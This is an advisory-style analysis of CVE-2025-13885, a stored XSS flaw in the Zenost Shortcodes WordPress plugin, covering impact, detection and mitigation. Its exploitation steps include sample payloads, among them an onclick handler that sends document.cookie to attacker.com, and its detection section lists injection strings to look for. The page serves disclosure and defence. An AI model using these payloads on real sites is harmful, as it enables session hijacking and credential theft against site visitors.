CVE-2025-13885: 
WordPress vulnerability analysis and mitigation

CVE-2025-13885 is a Stored Cross-Site Scripting (XSS) vulnerability in the Zenost Shortcodes plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping on the link and target parameters within the button shortcode. The vulnerability was published on December 12, 2025, and was assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in inc/shortcodes.php (around line 25), where the link and target parameters of the button shortcode are rendered without proper sanitization or escaping, allowing arbitrary HTML/JavaScript injection. Exploitation requires an authenticated attacker with at least Contributor-level access to create or edit posts containing the malicious shortcode; no user interaction beyond page access is required for the payload to execute (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts into WordPress pages, which execute in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or malware distribution. The changed scope in the CVSS vector reflects that the impact extends beyond the attacker's own session to affect other users of the site (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for at least Contributor-level authentication, limiting the attacker pool (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Zenost Shortcodes ≤ 1.0.
2. Create or Edit a Post: Navigate to the WordPress post editor and create or edit a post where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert a crafted button shortcode with a malicious payload in the link or target parameter, for example: [button link="javascript:alert(document.cookie)" target="_self"]Click Me[/button] or use an event-based payload such as link="#" target="_blank" onclick="fetch('https://attacker.com/?c='+document.cookie)".
4. Publish the Post: Submit or publish the post so the injected shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor-level accounts containing button shortcode parameters with JavaScript URIs or event handler strings (e.g., javascript:, onerror=, onclick=).
• Database: Suspicious entries in the wp_posts table where post content includes [button link="javascript: or other script-bearing shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the button shortcode, potentially carrying cookie or session data.
• File System: Unexpected modifications to inc/shortcodes.php in the Zenost Shortcodes plugin directory if an attacker has escalated to file write access post-exploitation.

Site administrators should immediately deactivate and remove the Zenost Shortcodes plugin (version 1.0 and below) if no patched version is available. Review all posts and pages for suspicious button shortcode usage containing JavaScript or unexpected URLs in the link or target parameters. As a general hardening measure, restrict Contributor-level account creation to trusted users and consider using a WordPress security plugin (e.g., Wordfence) to monitor for XSS injection attempts (Wordfence).

Wordfence disclosed and catalogued this vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, noting it as a stored XSS issue requiring Contributor-level access. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).